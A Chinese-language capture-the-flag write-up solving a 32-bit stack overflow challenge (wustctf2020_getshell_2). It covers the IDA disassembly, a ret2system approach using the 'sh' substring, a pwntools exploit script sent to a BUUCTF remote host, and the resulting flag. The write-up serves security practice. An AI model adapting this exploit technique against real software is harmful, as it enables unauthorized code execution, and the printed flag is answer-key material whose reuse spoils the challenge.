思路
checksec一下,发现是开了nx的,32位的
之后拖入ida中进行分析。
在main函数里面直截了当的做溢出。
ssize_t vulnerable()
{
char buf; // [esp+0h] [ebp-18h]
return read(0, &buf, 0x24u);
}
-00000018 buf db ?
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C db ? ; undefined
-0000000B db ? ; undefined
-0000000A db ? ; undefined
-00000009 db ? ; undefined
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
-00000004 db ? ; undefined
-00000003 db ? ; undefined
-00000002 db ? ; undefined
-00000001 db ? ; undefined
+00000000 s db 4 dup(?)
+00000004 r db 4 dup(?)
+00000008
+00000008 ; end of stack variables
之后这里直接写入shell地址会发生这种情况无法执行的问题,因为发现一堆无用的数据在前面,导致压入system的时候无法执行,不知道这是什么命令。
.text:0804851B
.text:0804851B ; Attributes: bp-based frame
.text:0804851B
.text:0804851B public shell
.text:0804851B shell proc near
.text:0804851B ; __unwind {
.text:0804851B push ebp
.text:0804851C mov ebp, esp
.text:0804851E sub esp, 8
.text:08048521 sub esp, 0Ch
.text:08048524 push offset command ; "/bbbbbbbbin_what_the_f?ck__--??/sh"
.text:08048529 call _system
.text:0804852E add esp, 10h
.text:08048531 nop
.text:08048532 leave
.text:08048533 retn
.text:08048533 ; } // starts at 804851B
.text:08048533 shell endp
.text:08048533
.text:08048534
我们那就直接把sh提取出来,利用rop工具。
之后是call system的地址。
.text:08048529 call _system
之后脚本形成
脚本
from pwn import *
#p = process("./wustctf2020_getshell_2")
context(os = 'linux',arch = 'i386',log_level = 'debug')
p = remote('node4.buuoj.cn',25384)
payload = b'a'*(0x18+0x04)+p32(0x08048529)+p32(0x08048670)
p.recv()
p.sendline(payload)
p.sendline(b'cat flag')
p.interactive()
直接获得flag是flag{7db5edef-bc9a-43c6-853e-97e56f62e7da}